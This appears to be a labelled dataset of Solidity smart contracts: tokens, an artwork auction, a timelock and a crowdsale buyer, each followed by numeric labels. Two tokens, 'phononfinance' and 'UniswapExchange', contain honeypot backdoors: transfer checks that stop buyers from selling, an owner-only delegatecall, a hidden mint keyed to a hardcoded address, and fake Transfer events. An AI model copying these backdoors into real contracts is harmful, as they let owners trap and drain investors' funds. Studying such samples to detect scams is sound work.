function _memcpy(uint _dest, uint _src, uint _len) private view {
for (; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
}
contract ArtworkAuction is ArtworkOwnership {
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
require(candidateContract.isSaleClockAuction());
saleAuction = candidateContract;
}
function createSaleAuction(
uint256 _artworkId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
require(_owns(msg.sender, _artworkId));
_approve(_artworkId, saleAuction);
saleAuction.createAuction(
_artworkId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
function withdrawAuctionBalances() external onlyCLevel {
saleAuction.withdrawBalance();
}
}
contract ArtworkMinting is ArtworkAuction {
uint256 public constant PROMO_CREATION_LIMIT = 5000;
uint256 public constant CREATION_LIMIT = 450000;
uint256 public constant ARTWORK_STARTING_PRICE = 10 finney;
uint256 public constant ARTWORK_AUCTION_DURATION = 1 days;
uint256 public promoCreatedCount;
uint256 public artsCreatedCount;
function createPromoArtwork(string _name, string _author, uint32 _series, address _owner) external onlyCOO {
bytes32 uniqueKey = getUniqueKey(_name, _author, _series);
(require(!uniqueArtworks[uniqueKey]));
if (_series != 0) {
bytes32 uniqueKeyForZero = getUniqueKey(_name, _author, 0);
(require(!uniqueArtworks[uniqueKeyForZero]));
}
address artworkOwner = _owner;
if (artworkOwner == address(0)) {
artworkOwner = cooAddress;
}
require(promoCreatedCount < PROMO_CREATION_LIMIT);
promoCreatedCount++;
_createArtwork(_name, _author, _series, artworkOwner);
uniqueArtworks[uniqueKey] = true;
}
function createArtworkAuction(string _name, string _author, uint32 _series) external onlyCOO {
bytes32 uniqueKey = getUniqueKey(_name, _author, _series);
(require(!uniqueArtworks[uniqueKey]));
require(artsCreatedCount < CREATION_LIMIT);
if (_series != 0) {
bytes32 uniqueKeyForZero = getUniqueKey(_name, _author, 0);
(require(!uniqueArtworks[uniqueKeyForZero]));
}
uint256 artworkId = _createArtwork(_name, _author, _series, address(this));
_approve(artworkId, saleAuction);
uint256 price = _computeNextArtworkPrice();
saleAuction.createAuction(
artworkId,
price,
0,
ARTWORK_AUCTION_DURATION,
address(this)
);
artsCreatedCount++;
uniqueArtworks[uniqueKey] = true;
}
function _computeNextArtworkPrice() internal view returns (uint256) {
uint256 avePrice = saleAuction.averageArtworkSalePrice();
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
if (nextPrice < ARTWORK_STARTING_PRICE) {
nextPrice = ARTWORK_STARTING_PRICE;
}
return nextPrice;
}
}
contract ArtworkQuestions is ArtworkMinting {
string private constant QUESTION = "What is the value? Nothing is ";
string public constant MAIN_QUESTION = "What is a masterpiece? ";
function getQuestion() public view returns (string) {
uint256 value = saleAuction.getValue();
string memory auctionValue = _uintToString(value);
return _strConcat(QUESTION, auctionValue, "", "");
}
}
contract ArtworkCore is ArtworkQuestions {
address public newContractAddress;
function ArtworkCore() public {
paused = true;
ceoAddress = msg.sender;
cooAddress = msg.sender;
_createArtwork("none", "none", 0, address(0));
}
function() external payable {
require(
msg.sender == address(saleAuction)
);
}
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
function withdrawBalance() external onlyCFO {
uint256 balance = this.balance;
cfoAddress.send(balance);
}
function getArtwork(uint256 _id)
external
view
returns (
uint256 birthTime,
string name,
string author,
uint32 series
) {
Artwork storage art = artworks[_id];
birthTime = uint256(art.birthTime);
name = string(art.name);
author = string(art.author);
series = uint32(art.series);
}
function unpause() public onlyCEO whenPaused {
require(saleAuction != address(0));
require(newContractAddress == address(0));
super.unpause();
}
} | 0 | 2,010 |
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ValorTimelock{
event EmergencyRelease(
address from,
address to,
uint256 value
);
ERC20 public token;
address public beneficiary;
uint256 public releaseTime;
address public owner;
constructor(ERC20 _token, address _beneficiary, address _admin, uint256 _duration )
public {
token = _token;
beneficiary = _beneficiary;
releaseTime = block.timestamp + _duration;
owner = _admin;
}
function release() external {
uint256 balance = token.balanceOf(address(this));
partialRelease(balance);
}
function partialRelease(uint256 _amount) public {
require(block.timestamp >= releaseTime);
uint256 balance = token.balanceOf(address(this));
require(balance >= _amount);
require(_amount > 0);
require(token.transfer(beneficiary, _amount));
}
function emergencyRelease() external{
require(msg.sender == owner);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
require(token.transfer(beneficiary, amount));
emit EmergencyRelease(msg.sender, beneficiary, amount);
}
} | 1 | 3,722 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract phononfinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 340 |
pragma solidity ^0.4.13;
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract DecentralandBuyer {
mapping (address => uint256) public balances;
uint256 public bounty;
bool public bought_tokens;
uint256 public time_bought;
uint256 public contract_eth_value;
bool public kill_switch;
bytes32 password_hash = 0x8223cba4d8b54dc1e03c41c059667f6adb1a642a0a07bef5a9d11c18c4f14612;
uint256 earliest_buy_block = 4170700;
address developer = 0x000Fb8369677b3065dE5821a86Bc9551d5e5EAb9;
address public sale = 0xA66d83716c7CFE425B44D0f7ef92dE263468fb3d;
ERC20 public token = ERC20(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942);
function activate_kill_switch(string password) {
if (msg.sender != developer && sha3(password) != password_hash) throw;
uint256 claimed_bounty = bounty;
bounty = 0;
kill_switch = true;
msg.sender.transfer(claimed_bounty);
}
function withdraw(address user, bool has_fee) internal {
if (!bought_tokens) {
uint256 eth_to_withdraw = balances[user];
balances[user] = 0;
user.transfer(eth_to_withdraw);
}
else {
uint256 contract_token_balance = token.balanceOf(address(this));
if (contract_token_balance == 0) throw;
uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[user];
balances[user] = 0;
uint256 fee = 0;
if (has_fee) {
fee = tokens_to_withdraw / 100;
if(!token.transfer(developer, fee)) throw;
}
if(!token.transfer(user, tokens_to_withdraw - fee)) throw;
}
}
function auto_withdraw(address user){
if (!bought_tokens || now < time_bought + 1 hours) throw;
withdraw(user, true);
}
function add_to_bounty() payable {
if (msg.sender != developer) throw;
if (kill_switch) throw;
if (bought_tokens) throw;
bounty += msg.value;
}
function claim_bounty(){
if (bought_tokens) return;
if (block.number < earliest_buy_block) return;
if (kill_switch) return;
bought_tokens = true;
time_bought = now;
uint256 claimed_bounty = bounty;
bounty = 0;
contract_eth_value = this.balance - claimed_bounty;
if(!sale.call.value(contract_eth_value)()) throw;
msg.sender.transfer(claimed_bounty);
}
function default_helper() payable {
if (msg.value <= 1 finney) {
withdraw(msg.sender, false);
}
else {
if (kill_switch) throw;
if (bought_tokens) throw;
balances[msg.sender] += msg.value;
}
}
function () payable {
if (msg.sender == address(sale)) throw;
default_helper();
}
} | 1 | 3,689 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,601 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NeckCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function NeckCoin() public {
symbol = "NECK";
name = "Neck Coin";
decimals = 18;
_totalSupply = 300000000000000000000000000000;
balances[0x3503F567B04a12F36069f21e0c3317BA9c23c1DC] = _totalSupply;
Transfer(address(0), 0x3503F567B04a12F36069f21e0c3317BA9c23c1DC, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,796 |
pragma solidity 0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20Extended is ERC20 {
uint256 public decimals;
string public name;
string public symbol;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ComponentContainerInterface {
mapping (string => address) components;
event ComponentUpdated (string _name, address _componentAddress);
function setComponent(string _name, address _providerAddress) internal returns (bool success);
function getComponentByName(string name) public view returns (address);
}
contract DerivativeInterface is ERC20Extended, Ownable, ComponentContainerInterface {
enum DerivativeStatus { New, Active, Paused, Closed }
enum DerivativeType { Index, Fund }
string public description;
string public category;
string public version;
DerivativeType public fundType;
address[] public tokens;
DerivativeStatus public status;
function invest() public payable returns(bool success);
function changeStatus(DerivativeStatus _status) public returns(bool);
function getPrice() public view returns(uint);
function initialize (address _componentList) internal;
function updateComponent(string _name) public returns (address);
function approveComponent(string _name) internal;
}
contract ComponentContainer is ComponentContainerInterface {
function setComponent(string _name, address _componentAddress) internal returns (bool success) {
require(_componentAddress != address(0));
components[_name] = _componentAddress;
return true;
}
function getComponentByName(string _name) public view returns (address) {
return components[_name];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
